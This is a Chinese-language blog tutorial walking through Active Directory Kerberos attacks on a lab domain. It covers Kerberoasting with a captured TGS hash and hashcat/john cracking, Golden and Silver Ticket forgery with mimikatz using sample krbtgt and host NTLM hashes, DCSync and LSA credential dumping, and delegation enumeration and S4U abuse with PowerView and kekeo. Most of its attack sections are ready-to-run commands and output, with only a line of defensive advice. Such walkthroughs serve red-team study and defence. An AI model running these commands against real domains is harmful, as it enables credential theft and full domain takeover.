$krb5tgs$23$*sqlsvr$0day.org$MSSQLSvc/Srv-DB-0day.0day.org:1433*$D9D5F69C63594FD9A4D89319C6AAE4B4$0A534D6D3FA20E8EA6F19ADBF5EE9924C206E58B18595FD2F8555914EB10895E53835F04B0EBDC66E2D0F303C3F5FBF5FB9E4BC82D88B2F3ED2361F29F5A31337FF24400CE7D3D51DB984D6F55473C85F3D1280EF5700651FA99F8774923C090F38557C1BB2CBD3268FAA229652C8AB37D40A70CE965ED31BBA9DDF14F104E2E46A27D42117ED6022813244071C878F9044B6DFA0120F319F066D12F7123098D8FB6AF5437A97A949FFAECEAF5F103B417410A4C76AC202DB0E86BC78D4B0E4F4FEA662892FE0F585F0DC6FF644DA0D6F80DD934C2571ED0C2E3CE8AA65783EEF75A1EE15B752FCF0B753FF2C275FD4A187F7BBBC23C0DA3B98516A1BA0FB72056151A5E2AF8FB37C66C13B266875B96F2CE984E002C09FED1ED5565DD64BBDDB0F0BFD4150993EEEE4F82C1ECA309587A62E7D5F1D438F9B44F8B1A20894DEFD56945BBA59E8376C2440B233BC616A03799A4FEA3005954B258A3011FAE9BF87FF03A8BB2A10CA5997285086F0F6C058FF6F3906888F6B2BAD4CEADE1DA587F7CA7A7825294617806CDF1A4A6722159C811A34128FEB32D40B4851188B4D9B700903642425C07188598DA6EAD1951ABC415909655D1D587241D12F140E42CD3E6B2BCF253F9A5B792E8E36C4AA64B07314F3DF67BCDD35F8730D6D1E89DBA32D1BA12DCD3F5FE19BA478781B5129572A5AA75D1AB195B92B3B76E7EAE8CA5997814AD3674AB02DD370619791D3F5FD62A59686C3CAD738C0BAEE6D2F47D438C144D0DF5B3F1664DB637455B291620CAE0F87625B8EC315AD155D3AE76BE23F316510FA76BB45AFD48E317FA1EC477F89F9C990155DC37F1B52BA2AC28C01B44840E4A194CA1943EEB340EB393E055E4B4E87D640D593F66F09B4904A204060C1524F8216A1BE8DAAFFC144CB1106CE2CD005E5F698D2DCAB654856D01AD0B02488E72F26EFB0F3D99B17F1390A4307744D0FE074FCC7F86C164EB21D8AEE165B716FDE4B87A78AE3011D101F718E43DBA556D64D65D5F4A733EF7F864D34D247472DF80A41C0041E432D915B29011E100F80833663EF4E03CF6243B9CC35166BE3511EF5EFDB8236D77FAEE226E15356A58ACFBF9B5400FF4FAEE070DC07BCB623D11BB315599CFFA6FD1763A2FA232929DD3236EF046A3236B8EE449771A1713C4CA99D46E66310CADD79515FBAB2BFDF1DBB509A0AEE9263D9D9024441E2CBA2C197E7C27F0AE5BDA3CB755BE87E932C66403D789EB903459204359E4E4EAB00A5904964353B6C8159D362322F0B5841CE1EE83790525D719E6DE3030C94DAA79F108CA15046FC5E5D4AD18C1962D08976A2C76A7383DF6B75C295FAF34EE1990CC03016AF66A2A284BDB4EA49ED01E9ACD66D5C7B3

使用impacket中的GetUserSPN.py也可以获取,不过需要域用户名和密码:

GetUserSPNs.exe -request -
c-ip 192.168.3.142 0day.org/sqlsvr

也可以使用 https://github.com/blacklanternsecurity/Convert-Invoke-Kerberoast


使用hashcat指定字典解密:

sudo hashcat -m 13100 hash.txt dict.txt -o /opt/dict/dist.list --force

此处为了节约演示时间,使用的是已知密码的字典。

可参见https://blog.cobalt.io/kerberoast-attack-techniques-79dd0166a65d

//使用hashcat破解
hashcat64.exe -m 13100 -w 3 -a 3 -m 13100 hash -w 3 -a 3 ?l?l?l?l?l?l?l
//使用john破解  

./kirbi2john.py /root/empire-dev/downloads/BDW3E2G2ZRKCUS3B/*.kirbi > /tmp/johnkirb.txt

./john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

防护: 密码至少设置为27位的强密码,且定期更改。Kerberos服务票据操作需要进行检测审核。( 可参见 https://www.scip.ch/en/?labs.20181011

**Kerberoast后门: **将指定的用户(如管理员)注册SPN服务,在域内就可以利用低权限获取指定用户的密码

PTT

黄金票据(Golden Tickets)

可参见资料:

krbtgt账户:每个域控制器都有一个krbtgt的用户,是KDC的服务账户,用来创建票据授予服务(TGS)加密的密钥。

攻击者在获取了krbtgt账号的NTLM Hash之后,通过发送伪造的TGT(包括sessionkey )给TGS换取任意服务的Client-To-Server Ticket(ST,服务票据),从而获得域内的任意服务权限。即拥有黄金票据就拥有了域内若干权限。

黄金票据的注意事项:

  • Windows事件日志不区分TGT的合法性,即黄金票据的行为隐蔽性高
  • 伪造黄金票据的时候,可以离线生成,减少痕迹
  • krbtgt的密码被修改了,生成的黄金票据就会失效
  • 未进行DC生成TGT之前的常规验证,从而绕过了SmartCard身份验证要求
  • KDC会验证TGT中的时间戳。域策略中修改Kerberos Policy中的存活周期,不会影响黄金票据。
  • 被冒充的账户重置密码不会影响黄金票据的使用
  • 黄金票据的有效期是十年,即使域管更改了密码,也可以对域内进行十年的权限维持(除了域的认证机制改变等因素)
  • 可以使用禁用、删除的帐户进行冒充,甚至是在Active Directory中不存在的帐户

可以通过使用mimikatz的DCSync获取伪造黄金票据需要的krbtgt账号的hash。该方法中,mimikatz会模拟域控,向目标域控请求密码账号,不用登录域控,也不用提取NTDS.DIT文件。但是该操作需要域管在或者其他高权限账户下进行。

使用mimikatz伪造的黄金票据:

mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit

先在普通域账户机器上访问DC资源,失败:

在数据库服务器上,利用域管理员的权限获得krbtgt的NTLM哈希36f9d9e6d98ecf8307baf4f46ef842a2,SID为S-1-5-21-1812960810-2335050734-3517558805

lsadump::dcsync /domain:0day.org /user:krbtgt

其他途径(https://pentestlab.blog/tag/dcsync/ )获取krbtgt账户就直接跳过获取krbtgt哈希的步骤。 1.使用meterpreter的kiwi扩展可以导出:dcsync_ntlm krbtgt 2.mimikatz可以在域控的本地安全认证(Local Security Authority)上直接读取mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt" 3.将域控中的ntds.dit复制出来,使用其他工具解析

得到krbtgt哈希之后,使用mimikatz的kerberos::golden生成黄金票据golden.kiribi

kerberos::golden /admin:Administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:golden.kiribi

/admin为伪造的用户名,用户名可以任意伪造 /domain为目标的域名 /sid为目标域名的SID /krbtgt为 krbtgt账户密码的NTLM Hash /ticket为要伪造的黄金票据的名称

常见域内账户SID:

  • 域用户SID:S-1-5-21 -513
  • 域管理员SID:S-1-5-21 -512
  • 架构管理员SID:S-1-5-21 -518
  • 企业管理员SID:S-1-5-21 -519(只有在域林根域中伪造票据时才有效,用AD域林管理员权限添加就使用`/sids`参数)
  • 组策略创建者所有者SID:S-1-5-21 -520

利用miikatz的kerberos::ptt将黄金票据golden.kiribi注入到内存中:

//清除缓存的票据
kerberos::purge
//注入黄金票据golden.kiribi
kerberos::ptt golden.kiribi
//列出票据
kerberos::list

导入的票据在20分钟内有效,过期之后再次导入就行

可以访问域控共享目录,还能在DC上远程执行psexec:

但是需要注意的是用psexec远程执行命令的时候,需要不能使用IP访问。使用NetBios的服务名访问才会走Kerberos认证,达到伪造凭据的攻击:

白银票据(Silver Tickets)

可参考的资料:

伪造的Client-To-Server Ticket(也有唤作ST和Service Ticket)被称为白银票据。在不与KDC通信情况下,通过获取Server端服务账号的NTLM Hash值,就能伪造该Server端服务的票据。不过在TGT中已包含了服务实例的唯一标识(SPN服务),白银票据就只能访问指定的服务。

白银票据的攻击流程:

  • 获取服务端计算机的服务账号或者服务端计算机账号的NTLM 哈希(如通过kerberoast获取)
  • 通过mimikatz的kerberos::golden传递域SID、目标主机名、服务名称、伪造的用户名、等信息创建白银票据
  • 将票据注入到内存,并访问服务

使用mimikatz伪造白银票据:

mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit

例子:访问域控上的cifs服务(Windoiws主机间的文件共享)

在域控上执行以下命令获取域控主机的本地管理员账户NTLM Hash为0f6debeb6023903247c4abe5e5021e23,SID为S-1-5-21-1812960810-2335050734-3517558805

mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit

将生成白银票据注入到内存中,并查看票据生成情况。查看目标的文件共享服务成功:

kerberos::golden /domain:0day.org /target:OWA2010SP3.0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /service:cifs /rc4:0f6debeb6023903247c4abe5e5021e23 /user:FFFF /ptt /id:1183

//不加id开关也行

kerberos::golden /domain:0day.org /target:OWA2010SP3.0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /service:cifs /rc4:0f6debeb6023903247c4abe5e5021e23 /user:FFFF /ptt 

委派

委派(Delegation):是一种让用户可以委托服务器代表自己与其他服务进行验证的功能,它允许服务账户在活动目录中模拟其他域用户身份,主要用于当服务需要以某个用户的身份来请求访问其他服务资源的场景。比如,在域内,用户Jack经过Kerberos身份验证访问服务Web(服务web处于域),Web服务再以Jack的身份去请求域中的服务MSSQL,若Jack有权限访问就能访问成功,这种过程就是委派的一个过程。

可参见资料:

域委派的4种主要方式:

  • 无约束委派
    • 表示您授予该帐户权限以委派任何服务,前提是满足启动委派所需的所有其他步骤。
    • 从IT安全角度来看,此选项最容易配置但安全性最低。
  • 约束委派 - 仅限Kerberos
    • 更安全,它将委派任务限制到指定列表,不像无约束委派允许委派给任何服务。
    • 与无约束委派相比,需要额外配置。
    • 必须确保在帐户上设置SPN并添加允许帐户委派的服务。
  • 协议转换
  • 基于资源的约束委派

下列委派内容主要参见 https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html 和 http://blog.nsfocus.net/analysis-attacks-entitlement-resource-constrained-delegation/ ,笔者觉得这两篇文章写的很好,且易懂。

用户在Kerberos认证中访问服务A和服务B的过程图:

后改进了这种同一用户访问多服务的过程,实现了A服务模拟用户访问B服务的过程。

在用户发送一个ST(图中为TGS)访问服务时,连同其TGT一起发送,服务A使用 用户的TGT向服务B进行ST(图中为TGS),进而简化了用户请求服务B资源时验证访问的认证过程。这种就是无约束委派(TrustedForDelegation)的过程:

无约束委派过程中,如果攻击者截获了Service A验证的ST和TGT,就可以用它们访问服务B,进而模拟管理员访问任意服务,漫游内网。

为了解决无约束委派的隐患,微软发布了约束委派(S4U2Proxy)。

若服务A允许委派给服务B,则A能使用S4U2Proxy协议将用户发送的TS(图中的TGS,TGS必须是可转发的) 再转发给域控制器认证,为用户请求访问服务B的TS(图中的TGS)。接着,服务A就能使用新获得的TS(图中的TGS)模拟用户访问服务B:

上图中用户是通过Kerberos协议与服务A进行认证的,而当用户以其他方式(如NTLM认证,基于表单的认证等方式)与Web服务器进行认证后,用户是无法向Web服务器提供请求该服务的TS(图中的TGS),因而服务器A也无法进一步使用S4U2Proxy协议请求访问服务B。S4U2Self协议便是解决该问题的方案,被设置为TrustedToAuthForDelegation的服务能够调用S4U2Self向认证服务器为任意用户请求访问自身的可转发的服务票据,此后,便可通过S4U2Proxy使用这张TGS向域控制器请求访问B的票据。这就是协议转换委派(S4U2Self/TrustedToAuthForDelegation):

传统的约束委派中仍然存在一些缺点,如无法进行跨域委派。微软在Windows Server 2012中引入了基于资源的约束委派,相对于传统的约束委派,主要有三处改进:

  • 委派的权限授予给了拥有资源的后端(B)而不再是前端(A)
  • 不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限
  • 委派功能现在可以跨域和林

基于资源的约束委派(Resource-Based Constrained Delegation)是一种允许资源自己去设置哪些账户委派给自己的约束委派。

传统的约束委派是“正向的”,通过修改服务A属性msDS-AllowedToDelegateTo,添加服务B的SPN(Service Principle Name),设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B以获得服务票据(TGS)来使用服务B的资源。

而基于资源的约束委派则是相反的,通过修改服务B属性msDS-AllowedToActOnBehalfOfOtherIdentity,添加服务A的SPN,达到让服务A模拟用户访问B资源的目的。

查找域中委派主机或账户

当服务账号被设置为非约束性委派时,其userAccountControl属性会包含为TRUSTED_FOR_DELEGATION;当被设置为约束性委派时,其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION(T2A4D),且msDS-AllowedToDelegateTo属性会被设置为哪些协议:

加载powerview,查询无约束委派账户:

Get-NetUser -Unconstrained -Domain 0day.org

//另外一个版本的Powerview
Get-DomainUser -Properties useraccountcontrol,msds-allowedtodelegateto| fl

加载powerview,查询无约束委派机器:

Get-NetComputer -Unconstrained -Domain 0day.org

//另外一个版本的Powerview
Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol -Verbose| ft -a

加载powerview,枚举域内所有的服务账号,查看哪些账号被设置了委派,以及是何种类型的委派设置:

Get-NetUser -TrustedToAuth -Domain 0day.org

Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
Get-DomainComputer -TrustedToAuth -Domain 0day.org

当一个用户具备对某个服务账号的SeEnableDelegationPrivilege权限时,表示可以更改服务账号的委派设置,一般情况下只有域管理员才具备这个权限。因此也可以利用SeEnableDelegationPrivilege属性,制作极其隐蔽的后门。

攻击案例

非约束委派攻击:

当域控管理员访问A服务时,A服务就会将访问者的TGT保存在内存中(此时攻击者无法访问域控),但是攻击者通过mimikatz的sekurlsa::tickets /export命令导出内存中域控管理员访问A服务的票据,将其注入到内存,这时候就可以访问域控。

kekeo.exe "tgt::ask /user:sqlsvr /domain:0day.org /password:Admin12345" exit
kekeo.exe "tgs::s4u /tgt:TGT_sqlsvr@0DAY.ORG_krbtgt~0day.org@0DAY.ORG.kirbi /user:administrator@0day.org /service:/service:service_to_access" exit


Tgs::s4u /tgt:service_account_tgt_file /user:administrator@testlab.com /service:service_to_access

Refer


Similar Posts

下一篇 Android101

Comments